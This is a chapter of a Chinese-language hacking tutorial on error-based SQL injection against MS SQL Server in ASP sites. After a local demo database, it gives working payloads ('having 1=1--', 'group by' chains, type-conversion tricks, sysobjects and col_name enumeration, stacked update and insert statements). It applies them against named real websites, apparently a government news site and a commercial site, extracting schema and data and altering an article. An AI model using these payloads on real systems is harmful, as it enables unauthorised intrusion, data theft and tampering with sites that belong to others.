2.6 为MS SQL带来灾难的高级查询
在上面,我们以实例向大家详细分析介绍了手工与工具注入Access数据库,登录后管理页面,上传后门木马的完整过程。在上面的例子中注入的是Access数据库,读者可能会发现手工猜解用户名和密码是非常麻烦的,使用“WED+WIS”或“NBSI”之类的自动注入工具,才是比较明智的选择。
其实对于Access来说,由于其SQL查询功能非常弱,因此只能用猜解办法;但是对于SQL Server或MySQL之类的数据库来说,攻击者完全可以利用一些特别的SQL查询语句报出其表名与字段名,并完成强大的系统控制功能。
在本节中,将详细介绍ASP+SQL Server环境下的SQL注入攻击。读者在学习时,注意与Access数据库注入攻击之间的不同之处。
MS SQL的功能远比Access数据库强大得多,它支持多句执行、联合查询,以及各种高级查询功能。但是,正由于MS SQL的强大功能,给MS SQL服务器的安全带来了极大的威胁。一旦攻击者有机会利用SQL注入攻击MS SQL数据库,那么攻击者可以很轻易地就获取MS SQL数据库中的所有记录内容,进而控制数据库服务器。
在本节中,我们将详细分析MS SQL的一些高级查询功能,以及由此带来的SQL注入攻击的原理和方法。
2.6.1 建立MS SQL数据库进行攻击演示
在进行MS SQL数据库注入攻击前,需要搭建一个目标数据库,作为攻击原理分析及演示。
在前面我们已经介绍了如何安装MS SQL服务器,以及启动SQL服务器及执行SQL查询的方法。按照前面的方法,启动MS SQL服务器,打开SQL查询分析器,在中间的SQL语句窗口中输入如下语句:
CREATE DATABASE 成绩 use 成绩
执行语句后,即可建立一个名为“成绩”的数据库,并将选择当前数据库为新建的“成绩”(图109)。
图109 新建MS SQL数据库
单击上方工具栏下拉列表按钮,在其中可以选择刚才新建的“成绩”数据库为操作对象(图110)。再执行如下语句,即可建立两个数据表:“1班成绩”和“2班成绩”:
图110 新建数据表及字段
CREATE TABLE [1班成绩] (
[姓名] [char] (20) COLLATE Chinese_PRC_CI_AS NULL , [成绩] [numeric](18, 0) NULL, [性别] [NVARCHAR](1) ) ON [PRIMARY] CREATE TABLE [2班成绩] ( [姓名] [char] (20) COLLATE Chinese_PRC_CI_AS NULL, [成绩] [numeric](18, 0) NULL, [性别] [NVARCHAR](1) ) ON [PRIMARY]
在新建的“1班成绩”和“2班成绩”表中,有3个字段“姓名”、“成绩”和“性别”。单击工具栏“对象浏览器”按钮,可查看到新建的数据库及表、字段名(图111)。
图111 建立数据表成功
现在要为字段添加数据,执行如下语句(图112):
INSERT INTO [1班成绩] VALUES(’冰河洗剑’, 98, ’男’) INSERT INTO [1班成绩] VALUES(’会飞的鱼’, 99, ’女’) INSERT INTO [1班成绩]
VALUES(’朱泽明’, 94, ’男’) INSERT INTO [1班成绩] VALUES(’卢丽娅’, 97, ’女’)
图112 添加数据记录
即可为“1班成绩”表添加4条数据记录。执行如下语句:
INSERT INTO [2班成绩] VALUES(’肖遥’, 98, ’男’) INSERT INTO [2班成绩] VALUES(’张黎’, 99, ’女’) INSERT INTO [2班成绩] VALUES(’夏雨’, 94, ’男’) INSERT INTO [2班成绩] VALUES(’简单’, 97, ’女’)
可为“2班成绩”表添加4条数据记录。如何才能查看到新建数据库及表中的数据呢?执行如下语句:
select * from [1班成绩] union select * from [2班成绩]
即可查看显示所有数据信息了(图113)。
图113 查看新建的数据库所有记录信息
2.6.2 有趣的MS SQL出错信息
用于演示的数据库及表建立成功了,现在我们在查询窗口中执行如下一条SQL语句:
select * from [1班成绩]
图114 正常查询返回信息
可以看到显示了数据表“1班成绩”中的所有记录,SQL语句是正常执行并返回信息的(图115)。现在,我们在SQL语句后面加上“having 1=1—”,执行查询语句:
select * from [1班成绩] having 1=1--
由于SQL查询语句有问题,不符合正确的SQL语句规范,因此返回了错误信息为:
服务器: 消息 8118,级别 16,状态 1,行 1 列 ’1班成绩.姓名’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。 服务器: 消息 8118,级别 16,状态 1,行 1 列 ’1班成绩.成绩’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。 服务器: 消息 8118,级别 16,状态 1,行 1 列 ’1班成绩.性别’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
图115 返回的查询错误信息
可以看到查询错误很详细,将错误的原因也反馈给用户了。细心的读者将会发现,在返回的信息中显示有“列 ’1班成绩.姓名’”、“列 ’1班成绩.性别’”和“列'1班成绩.成绩’”。这正是当前用户表及表中的字段名信息。
也就是说,普通用户通过MS SQL返回的错误信息,从中可以获知数据库的一些信息。同样,攻击者可以精心构造“特殊”的SQL查询语句,让MS SQL返回错误信息,从而非法获取数据库中的关键数据记录信息。这就是针对MS SQL数据库的注入攻击原理。
2.6.3 SQL高级查询之Group By和Having
在上面的SQL查询语句中,添加了一个“having 1=1--”的查询条件,为什么这个查询条件会执行出错,并返回字段名信息呢?从返回的错误信息中还可以看到,Having与一个“GROUP BY子句”有关,两者之间有什么联系呢?
下面就详细讲解一下利用Group By和Having进行MS SQL注入攻击的原理。
1.SQL查询中的聚合函数
在介绍Group By和Having子句前,我们先介绍一下SQL语言中一类特殊的函数:“聚合函数”,如SUM、COUNT、MAX、AVG等。“聚合函数”与其他普通函数的区别在于,此类函数作用于多条记录上,进行统计或选择最大、最小值,以及平均计算等。
例如,下面的语句执行结果就是查询只返回一个结果,即所有学生的总成绩分数:
SELECT SUM(成绩) FROM [1班成绩]
这里的SUM作用在所有返回记录的“成绩”字段上,查询返回的结果就是表中所有“成绩”记录的总成绩之和(图116)。
图116 统计总成绩
通过使用Group By子句,可以让SUM和COUNT等聚合函数对属于一组的数据起作用。当指定“GROUP BY性别”时,属于同一“性别”的一组数据将只能返回一行值。也就是说,表中所有除“性别”外的字段,只能通过SUM、COUNT等聚合函数运算后返回一个值。
首先,我们来显示男生和女生的总分数(图117):
SELECT 性别,SUM(成绩) as 总成绩 FROM [1班成绩] GROUP BY 性别
图117 统计男生和女生的总分数
从返回的信息中,可以看到显示了两条数据记录,分别是男生与女生的成绩之和。这条SQL语句,先以“性别”把返回记录分成了两个组,这就是Group By所起的作用。在分完组后,然后用聚合函数SUM,对每组中的不同字段的一或多条记录进行运算。
Having子句可以让我们筛选成组后的各组数据,Where子句在聚合前先筛选记录.也就是说作用在Group By子句和Having子句前,而Having子句在聚合后对组记录进行筛选。
例如,要查询男生和女生的总分数,并仅显示总分数超过195的记录(图118)。先执行如下SQL查询语句:
SELECT 性别,SUM(成绩) as 总成绩 FROM [1班成绩] GROUP BY 性别
where SUM(成绩)>195
上面的查询语句为什么会出错呢?这是因为表中不存在着“SUM(成绩)”这样一条记录,因此不能使用Where来筛选总分数超过195的记录。再尝试执行如下SQL查询语句(图119):
SELECT 性别,SUM(成绩) as 总成绩 FROM [1班成绩] GROUP BY 性别 HAVING SUM(成绩)>195
图118 使用where查询出错
图119 Having筛选聚合成组的数据
可看到语句正常执行,返回结果是显示女生总分数超过了195。从上面的例子可见,只有Having子句,才可以筛选聚合成组后的各组数据。
2.Group By查询
现在,我们来看看去掉“Group By”语句后的结果,执行如下SQL查询语句:
SELECT * FROM [1班成绩] HAVING SUM(成绩)>195
依照上面的原则,这条SQL语句执行错误了,返回信息如下:
服务器: 消息 8118,级别 16,状态 1,行 1 列 ’1班成绩.姓名’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。 服务器: 消息 8118,级别 16,状态 1,行 1 列 ’1班成绩.成绩’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。 服务器: 消息 8118,级别 16,状态 1,行 1 列 ’1班成绩.性别’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
可看到,再次返回了当前数据库中的所有表名及列名(图120)。也就是说, Having子句之前,必须有“Group By”语句进行数据聚合,否则SQL语句是无法正常执行的。因此,在上一节的示例中,我们提交“having 1=1”时,由于缺少了“Group By”语句,因此也同样返回了错误信息,从而获得了数据库表名及列名。
图120 缺少“Group By”返回错误信息
在“Having”之后必须是一个查询条件,否则语句会出错,只返回语法错误信息(图121),而不会返回执行错误信息,因此无法得到数据库表名及列名信息。查询条件可以为任意真或假的条件,如“1=1”、“2>1”等均可。
图121 Having后接任意查询条件
2.6.4 报出MS SQL表名和字段名的实例
通过上面对Group By和Having查询的讲解,报出MS SQL数据库表及字段名的原理已经很清楚了。下面来看一个实例,了解一下攻击者是如何利用上面的原理进行入侵攻击的。
这里选择了一个小地区网站的新闻链接:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1
利用单引号法进行检测,返回错误信息为(图122):
Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 ’order by news_date desc’ 之前有未闭合的引号。 /news/NewsJyg.asp,行 51
从返回信息可知此处存在着注入漏洞,且网站使用的是MS SQL数据库。使用上面的方法,在SQL Server注入点处加上“having 1=1--”,提交如下地址:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 having 1=1--
图122 检测到SQL注入点
得到返回信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News. news_id’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GR OUP BY 子句。 /news/NewsJyg.asp,行 51
从返回信息中的“y_News.news_id”,可知当前使用的数据表名为“y_news”,有一个字段名为“news_id”(图123)。
图123 having查询返回的信息
在真实的注入攻击过程中,并不像在SQL查询分析器中可以直接得到所有表名和字段名,只能得到一个字段名后,继续猜解其他字段名。要猜解下一个字段名,就需要结合“Group By”语句进行查询了,可构造查询语句为“group by news_id having 1=1--”,提交链接为:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 group by news_id having 1=1--
得到返回的错误信息为(图124):
[Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.news _type’ 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
图124 报出第二个字段名
从返回信息,可得到另一个字段名“news_type”。继续猜解当前表中的下一个字段名,构造查询语句为“group by news_id, news_type having 1=1--”,提交如下链接地址:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 group by news_id, news_type having 1=1--
返回信息为(图125):
[Microsoft][ODBC SQL Server Driver][SQL Server]列 ’y_News.news
_title’ 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。
图125 报出第三个字段名
则可再得到一个字段名“news_title”。用同样的方法提交报出其他的数据字段名,构造的查询语句格式为:
group by 第N个表名,……第3个字段名,第2个字段名,第1个字段名 having 1=1--
一直提交到页面不再返回错误信息,就可以得到所有的字段名了,这里猜解出来的字段名有6个,分别是news_id、news_type、news_title、news_content、news_date和news_depart。
2.6.5 数据记录也“报”错
一旦攻击者报出了数据库的表名和字段名,就可以读取数据库中的任意数据记录。同样,攻击者还是会利用数据库的返回信息来获取所需要的数据。
在前面的SQL查询分析器中,执行如下语句:
Select Top 1 成绩 FROM [1班成绩] where 成绩=95
语句执行后,可看到查询结果为空,因为数据库中不存在“成绩=95”的记录(图126)。再执行如下SQL查询语句:
Select Top 1 成绩 FROM [1班成绩] where 成绩=95 and (select top 1 姓名 from [1班成绩])>1
图126 查询结果为空
语句的执行结果是出错,并返回了如下信息:
服务器: 消息 245,级别 16,状态 1,行 1 将 varchar 值 ’冰河洗剑 ’ 转换为数据类型为 int 的列时发生语法错误。
从返回的错误信息中,可看到“冰河洗剑”这个敏感的数据,这就是“1班成绩”表中“姓名”字段的第一条数据记录(图127)。
图127 报出数据记录
为什么在执行上面的SQL语句时会出错呢?这是因为在上面的SQL语句中有一个查询条件:
where 成绩=95 and (select top 1 姓名 from [1班成绩])>1
其中的“(select top 1姓名from [1班成绩])>1”是一个错误的比较条件。“(select top 1姓名from [1班成绩])”返回的是“1班成绩”表中“姓名”字段的第一条数据记录,该记录的值为“冰河洗剑”(图128)。
图128 查询条件返回的是字符数据
由于该记录的数据类型为字符(varchar),而比较条件“1”的数据类型为int整数型,因此在进行“’冰河洗剑’>1”比较时,会将“冰河洗剑”进行类型转换。在将字符转换为整数时,当然是会出错的,而MS SQL完善的错误信息,也将字符数据的内容报给了攻击者,因此攻击者可以轻易地获得指定的数据记录内容。
2.6.6 继续前面的“入侵”
在前面的报出MS SQL表名和字段名的实例中,攻击者将会继续下面的入侵步骤,以获取数据库中的指定信息。
猜解出的数据表名为“y_news”,字段名有6个:news_id、news_type、news_title、news_content、news_date和news_depart。这里假设攻击者要获取“news_title”字段中的第2条记录,攻击者将会执行如下的语句:
http://www.jyg.gansu.gov.cn/news/NewsJyg.asp? Ntype=1 and (select top 1 news_title from y_news )>1
例如,我们要读取“skill”表中“title”列中的第N个数据,可提交语句:
and (Select Top 1 字段 FROM 表 where id=N)>1
其中[N]代表列中的第N条数据。将N改为1的话,则会返回错误信息:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’ 给卖房人的忠告——出售二手房产权要明晰手续需齐全 ’ 转换为数据类型为 int 的列时发生语法错误。 /skill/skill_id.asp,行38
这就说明“Skill”表中“title”列的第一个值为“给卖房人的忠告--出售二手房产权要明晰手续需齐全”。由于这是一个文章系统,因此其在网页中代表的真实含义为:ID为1的文章其标题为“给卖房人的忠告--出售二手房产权要明晰手续需齐全”。
上面的例子中读取的只是一篇文章的标题,在实际的应用中,可以读取包含用户名和密码的表中的数据,就可以获得任意用户名的密码了,这种方法比使用ASCII码一个个地猜解快得多了。
修改数据库,插入数据
当成功地获得了表名、字段名,就可以在数据库里修改甚至插入新的数据,如要更改“skill”表中的第一个数据,可以提交如下命令:
“ ; update skill set title=’我不是黑客,哈哈!' WHERE id='1' ”
命令运行后正常显示,在IE地址栏中输入链接“http://www.xinzun.com. cn/skill/skill_id.asp? id=1”,可以看到ID为1的文章其标题已经变成了更改的内容:“我不是黑客,哈哈!”(图129)
如果要在数据库中插入一条新的数据,可提交如下语句:
“ ; insert into skill values ('1000' , ’网站存在安全漏洞’, ’请注意安 全’, '2004' )--
打开链接“http://www.xinzun.com.cn/skill/skill_id.asp? id=1”时,可以看到新添加的文章。
如果是在用户名表中插入一个新的数据的话,那么也就是说我们在网站中添加了一个新的用户。同样,用上面的方法可以任意更改某个用户名的密码。
图129
2.6.7 报出任意表名和字段名
上面的方法只能报出数据库中的当前表,同时如果某个表中包含的字段名非常多时,用上面的方法就非常困难了。攻击者有可能使用更加高效的检测方法,可以报出数据库中任意表名和字段名。
在上面的注入点后提交如下语句:
and (Select top 1 name from(Select top [N] id, name from sysobjects where xtype=char(85)) T order by id desc)>1
其中“[N]”表示数据库中的第N个表,当将其改为12时,返回信息为:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07' 将 nvarchar 值 ’sill’ 转换为数据类型为 int 的列时发生语法错误。 /skill/skill_id.asp,行13
就可报出数据库中的第4个表名,说明第4个表名为“skill”。
要获得某个表中任意字段名,可以提交如下语句:
and (Select Top 1 col_name(object_id([T]), [N]) from sysobject s)>1
其中[T]为表名,[N]表示第N个字段名,当将语句改为:
and (Select Top 1 col_name(object_id(' skill' ),2) from sysobject
s)>1
返回信息为:
"……将 nvarchar 值 ’title’ 转换为数据类型为 int 的列时发生语法错 误。……”
这表明第4个表中的第二个字段名为“title”。